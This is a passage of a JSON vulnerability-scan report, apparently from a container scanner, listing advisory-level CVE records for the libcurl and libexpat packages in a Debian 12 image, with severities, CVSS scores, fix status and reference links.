}, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-8286", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8286.md", "https://curl.se/docs/CVE-2026-8286.html", "https://curl.se/docs/CVE-2026-8286.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-32xh-3x3c-6g6h", "https://hackerone.com/reports/3718195", "https://linux.oracle.com/cve/CVE-2026-8286.html", "https://linux.oracle.com/errata/ELSA-2026-57462.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8286", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8286" ], "PublishedDate": "2026-07-03T07:16:24.453Z", "LastModifiedDate": "2026-09-15T07:16:31.617Z" }, { "VulnerabilityID": "CVE-2026-8458", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8458", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:150497d40bc9f760fb0e9346f5a905f917e0f1fccf8ca5a3d8da7c1f19b92592", "Title": "curl: libcurl: Unauthorized connection reuse due to a logical error", "Description": "libcurl might in some circumstances reuse the wrong connection when asked to\ndo Negotiate-authenticated ones, even when they are set to use different\n\"services\".\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a request that was issued by an application could\nwrongfully reuse an existing connection to the same server that was\nauthenticated using different services.", "Severity": "HIGH", "CweIDs": [ "CWE-488" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8458", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8458.md", "https://curl.se/docs/CVE-2026-8458.html", "https://curl.se/docs/CVE-2026-8458.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-88c6-6jfq-mm4q", "https://hackerone.com/reports/3721183", "https://linux.oracle.com/cve/CVE-2026-8458.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8458", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-8458" ], "PublishedDate": "2026-07-03T07:16:24.63Z", "LastModifiedDate": "2026-09-15T07:16:32.327Z" }, { "VulnerabilityID": "CVE-2026-8927", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f52eb6b5d0d2f19b2309d884abf0101852d39d6a054f1e29e1f28d9586aa23c8", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2024-28757", "VendorIDs": [ "DLA-4807-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-28757", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d8fb73c0f4ca1aaaa170077e939c53a545d4ba86888ac48daa7329dbb4e792a1", "Title": "expat: XML Entity Expansion", "Description": "libexpat through 2.6.1 allows an XML Entity Expansion attack when there is isolated use of external parsers (created via XML_ExternalEntityParserCreate).", "Severity": "HIGH", "CweIDs": [ "CWE-776" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "bottlerocket": 2, "cbl-mariner": 3, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28757", "http://www.openwall.com/lists/oss-security/2024/03/15/1", "https://access.redhat.com/errata/RHSA-2024:1530", "https://access.redhat.com/security/cve/CVE-2024-28757", "https://bugzilla.redhat.com/2262877", "https://bugzilla.redhat.com/2268766", "https://cert-portal.siemens.com/productcert/html/ssa-398330.html", "https://cert-portal.siemens.com/productcert/html/ssa-784301.html", "https://errata.almalinux.org/9/ALSA-2024-1530.html", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-rjp2-2459-62cp", "https://github.com/libexpat/libexpat/issues/839", "https://github.com/libexpat/libexpat/pull/842", "https://linux.oracle.com/cve/CVE-2024-28757.html", "https://linux.oracle.com/errata/ELSA-2024-1530.html", "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FPLC6WDSRDUYS7F7JWAOVOHFNOUQ43DD/", "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKJ7V5F6LJCEQJXDBWGT27J7NAP3E3N7/", "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VK2O34GH43NTHBZBN7G5Y6YKJKPUCTBE/", "https://nvd.nist.gov/vuln/detail/CVE-2024-28757", "https://security.netapp.com/advisory/ntap-20240322-0001/", "https://ubuntu.com/security/notices/USN-6694-1", "https://www.cve.org/CVERecord?id=CVE-2024-28757" ], "PublishedDate": "2024-03-10T05:15:06.57Z", "LastModifiedDate": "2026-10-15T01:17:42.003Z" }, { "VulnerabilityID": "CVE-2025-59375", "VendorIDs": [ "DLA-4807-1", "DLA-4849-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u5", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-59375", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:feaa0734f253009292f80f0c303999232c9a667ed0a0917f21adfb583f0beb8d", "Title": "firefox: thunderbird: expat: libexpat in Expat allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing", "Description": "libexpat in Expat before 2.7.2 allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "cbl-mariner": 2, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 5.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-59375", "http://www.openwall.com/lists/oss-security/2025/09/16/2", "http://www.openwall.com/lists/oss-security/2026/05/01/5", "https://access.redhat.com/errata/RHSA-2025:22175", "https://access.redhat.com/errata/RHSA-2026:19177", "https://access.redhat.com/security/cve/CVE-2025-59375", "https://bugzilla.redhat.com/2395108", "https://bugzilla.redhat.com/2408891", "https://bugzilla.redhat.com/2418084", "https://bugzilla.redhat.com/2431366", "https://bugzilla.redhat.com/2431374", "https://bugzilla.redhat.com/2444691", "https://bugzilla.redhat.com/2448168", "https://bugzilla.redhat.com/2448181", "https://bugzilla.redhat.com/2449649", "https://bugzilla.redhat.com/2457409", "https://bugzilla.redhat.com/2457932", "https://bugzilla.redhat.com/2458049", "https://bugzilla.redhat.com/show_bug.cgi?id=2395108", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-089022.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-59375", "https://errata.almalinux.org/9/ALSA-2026-19177.html", "https://errata.rockylinux.org/RLSA-2025:22175", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/10.5.0/BRSA-ja1ptrrpkcey.toml", "https://github.com/libexpat/libexpat/blob/676a4c531ec768732fac215da9730b5f50fbd2bf/expat/Changes#L45-L74", "https://github.com/libexpat/libexpat/blob/R_2_7_2/expat/Changes", "https://github.com/libexpat/libexpat/issues/1018", "https://github.com/libexpat/libexpat/pull/1034", "https://issues.oss-fuzz.com/issues/439133977", "https://linux.oracle.com/cve/CVE-2025-59375.html", "https://linux.oracle.com/errata/ELSA-2026-3407.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-59375", "https://ubuntu.com/security/notices/USN-8022-1", "https://ubuntu.com/security/notices/USN-8790-1", "https://www.cve.org/CVERecord?id=CVE-2025-59375", "https://www.mozilla.org/security/advisories/mfsa2026-22/#CVE-2025-59375", "https://www.mozilla.org/security/advisories/mfsa2026-24/#CVE-2025-59375" ], "PublishedDate": "2025-09-15T03:15:40.92Z", "LastModifiedDate": "2026-10-19T17:10:00.173Z" }, { "VulnerabilityID": "CVE-2026-113351", "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113351", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f97094fea77f3a0efb6772c836f77eb2324b6ded811c5d276dd45f95fa8e32d0", "Title": "expat: expat: Denial of Service via improper memory tracking in XML_ParserReset", "Description": "libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.", "Severity": "HIGH", "CweIDs": [ "CWE-909" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113351", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L1560", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L860-L884", "https://github.com/libexpat/libexpat/pull/1431", "https://nvd.nist.gov/vuln/detail/CVE-2026-113351", "https://www.cve.org/CVERecord?id=CVE-2026-113351", "https://www.vulncheck.com/advisories/libexpat-2.7.2-through-2.9.0-denial-of-service-via-xml-parserreset" ], "PublishedDate": "2026-10-20T11:17:19.363Z", "LastModifiedDate": "2026-11-03T21:26:47.25Z" }, { "VulnerabilityID": "CVE-2026-115506", "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-115506", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0406a26b24d9672a70c298a4653bff6db9b5a1cab6547fe21bad68ef8ce4576f", "Title": "expat: expat: Denial of Service via delayed entity amplification detection", "Description": "libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.", "Severity": "HIGH", "CweIDs": [ "CWE-776" ], "VendorSeverity": { "photon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-115506", "https://github.com/hannob/lololol", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/issues/1160", "https://github.com/libexpat/libexpat/pull/1433", "https://nvd.nist.gov/vuln/detail/CVE-2026-115506", "https://www.cve.org/CVERecord?id=CVE-2026-115506", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-denial-of-service-via-billion-laughs-detection-delay" ], "PublishedDate": "2026-10-22T20:17:06.62Z", "LastModifiedDate": "2026-11-02T18:27:06.127Z" }, { "VulnerabilityID": "CVE-2026-117610", "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-117610", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9a47f17a38d8a400c010a9b1214c5c262847bd26682bafb4fa48b9082090e888", "Title": "expat: expat: Denial of Service via NULL pointer dereference in external entity parsing", "Description": "libexpat through 2.9.0 contains a NULL pointer dereference vulnerability in externalEntityInitProcessor2() in lib/xmlparse.c that mishandles the XML_TOK_NONE token from empty input. Attackers who control stream chunking can force an empty non-final first parse on an external entity subparser, causing a later parse to crash the application.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-117610", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L3468-L3510", "https://github.com/libexpat/libexpat/commit/7b0d50e4b1d16fafd55876260701e04279a7489d", "https://github.com/libexpat/libexpat/pull/1444", "https://nvd.nist.gov/vuln/detail/CVE-2026-117610", "https://www.cve.org/CVERecord?id=CVE-2026-117610", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-null-pointer-dereference-via-external-entity-subparser" ], "PublishedDate": "2026-10-28T03:17:12.777Z", "LastModifiedDate": "2026-11-05T16:17:35.787Z" }, { "VulnerabilityID": "CVE-2026-118370", "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118370", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c9ea7779b455189b7937af317ea5dc95975a2492c656f6d77dfc50efb25f58d9", "Title": "expat: expat: Denial of Service via integer overflow during XML attribute parsing", "Description": "libexpat through 2.9.0 contains a signed integer overflow vulnerability in storeAtts() in lib/xmlparse.c that allows attackers to trigger out-of-bounds writes via oversized attribute counts. Attackers can supply a multi-gigabyte document with a start tag carrying over 2^30 attributes to overflow attIndex and nPrefixes, crashing applications or corrupting heap memory.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "nvd": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118370", "https://github.com/libexpat/libexpat", "https://github.com/libexpat/libexpat/blob/a76b1174c1ea52abb639a4c69d52b630a8a106a2/expat/lib/xmlparse.c#L4138-L4140", "https://github.com/libexpat/libexpat/commit/1bac53c4fc460a03cd9860f39501c7979f6750ae", "https://github.com/libexpat/libexpat/commit/621cb2c78b253ee023a86bc91d6ddb048481c04c", "https://github.com/libexpat/libexpat/pull/1450", "https://nvd.nist.gov/vuln/detail/CVE-2026-118370", "https://www.cve.org/CVERecord?id=CVE-2026-118370", "https://www.vulncheck.com/advisories/libexpat-through-2.9.0-integer-overflow-in-storeatts-via-attindex-and-nprefixes" ], "PublishedDate": "2026-10-28T03:17:13.293Z", "LastModifiedDate": "2026-11-02T20:17:37.377Z" }, { "VulnerabilityID": "CVE-2026-25210", "VendorIDs": [ "DLA-4807-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25210", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fbfab2202acab348b59a825ace3fd0419d93e600cb8209a0f2d7a5003c64c241", "Title": "libexpat: libexpat: Information disclosure and data integrity issues due to integer overflow in buffer reallocation", "Description": "In libexpat before 2.7.4, the doContent function does not properly determine the buffer size bufSize because there is no integer overflow check for tag buffer reallocation.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L", "V3Score": 6.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-25210", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://github.com/libexpat/libexpat/pull/1075", "https://github.com/libexpat/libexpat/pull/1075/commits/9c2d990389e6abe2e44527eeaa8b39f16fe859c7", "https://nvd.nist.gov/vuln/detail/CVE-2026-25210", "https://ubuntu.com/security/notices/USN-8022-1", "https://ubuntu.com/security/notices/USN-8022-2", "https://ubuntu.com/security/notices/USN-8023-1", "https://www.cve.org/CVERecord?id=CVE-2026-25210" ], "PublishedDate": "2026-01-30T07:16:15.57Z", "LastModifiedDate": "2026-06-17T10:24:19.123Z" }, { "VulnerabilityID": "CVE-2026-45186", "VendorIDs": [ "DLA-4807-1" ], "PkgID": "libexpat1@2.5.0-1+deb12u2", "PkgName": "libexpat1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libexpat1@2.5.0-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "27958806ffd894f4" }, "InstalledVersion": "2.5.0-1+deb12u2", "FixedVersion": "2.5.0-1+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45186", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:954524d9c5a5397f98f45c07f599c514a10086034afe0c6151b4c6d3fdb4c526", "Title": "libexpat: denial of service via crafted XML input", "Description": "In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/11/16", "https://access.redhat.com/errata/RHSA-2026:22715", "https://access.redhat.com/errata/RHSA-2026:22721", "https://access.redhat.com/errata/RHSA-2026:23230", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:27201", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:93443", "https://access.redhat.com/security/cve/CVE-2026-45186", "https://bugzilla.redhat.com/2468575", "https://bugzilla.redhat.com/2550393", "https://bugzilla.redhat.com/2550394", "https://bugzilla.redhat.com/2550396", "https://bugzilla.redhat.com/2550397", "https://bugzilla.redhat.com/2550400", "https://bugzilla.redhat.com/2550401", "https://bugzilla.redhat.com/2550403", "https://bugzilla.redhat.com/2550404", "https://bugzilla.redhat.com/2550405", "https://bugzilla.redhat.com/2550406", "https://bugzilla.redhat.com/2550408", "https://bugzilla.redhat.com/2550410", "https://bugzilla.redhat.com/2550411", "https://bugzilla.redhat.com/2550412", "https://bugzilla.redhat.com/2550413", "https://bugzilla.redhat.com/2550417", "https://bugzilla.redhat.com/2550418", "https://bugzilla.redhat.com/2550419", "https://bugzilla.redhat.com/2550420", "https://bugzilla.redhat.com/2550421", "https://bugzilla.redhat.com/2550422", "https://bugzilla.redhat.com/2550424", "https://bugzilla.redhat.com/2550425", "https://bugzilla.redhat.com/2550426", "https://bugzilla.redhat.com/2550428", "https://bugzilla.redhat.com/2550429", "https://bugzilla.redhat.com/2550430", "https://bugzilla.redhat.com/2550431", "https://bugzilla.redhat.com/2550432", 